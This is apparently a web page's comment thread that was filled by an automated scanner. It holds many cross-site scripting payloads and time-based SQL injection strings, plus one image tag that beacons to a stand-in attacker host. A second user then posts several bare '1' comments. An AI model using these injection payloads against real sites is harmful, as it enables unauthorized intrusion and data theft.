nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1<img/src=">" onerror=alert(9082)>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

-1)) OR 739=(SELECT 739 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

XKkKS8DO' OR 846=(SELECT 846 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

%31%3C%53%63%52%69%50%74%20%3E%58%53%58%43%289887%29%3C%2F%73%43%72%69%70%54%3E

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

0RW92r3I') OR 195=(SELECT 195 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

ffV5GarC')) OR 866=(SELECT 866 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1\u003CScRiPt\XSXC(9496)\u003C/sCripT\u003E

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1&lt;ScRiPt&gt;XSXC(9703)&lt;/sCripT&gt;

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

�<img zzz onmouseover=XSXC(99231) //�>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

@@mUp6q

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1<input autofocus onfocus=XSXC(9830)>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

<a HrEF=http://xss.bxss.me></a>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

<a HrEF=jaVaScRiPT:>

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1}body{zzz:Expre/**/SSion(XSXC(9682))}

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1zc0nI <ScRiPt >XSXC(9126)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1<WSO688>3YX2V[!+!]</WSO688>

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1<ifRAme sRc=9437.com></IfRamE>

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1<apkA6uO x=9156>

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1<img sRc='http://attacker-9252/log.php?

nZkkAbWB Jan. 22, 2024, 3:08 p.m.

1<a1YbbmL<

nEcdyGgx Nov. 3, 2024, 9:39 a.m.

1

nEcdyGgx Nov. 3, 2024, 9:39 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:41 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:41 a.m.

1

nEcdyGgx Nov. 3, 2024, 5:28 p.m.

1

nEcdyGgx Nov. 3, 2024, 6:37 p.m.

1

nEcdyGgx Nov. 3, 2024, 6:37 p.m.

1

nEcdyGgx Nov. 3, 2024, 8:16 p.m.

1

nEcdyGgx Nov. 3, 2024, 8:16 p.m.

1

Login Required!

Reset Password
AnonymousUser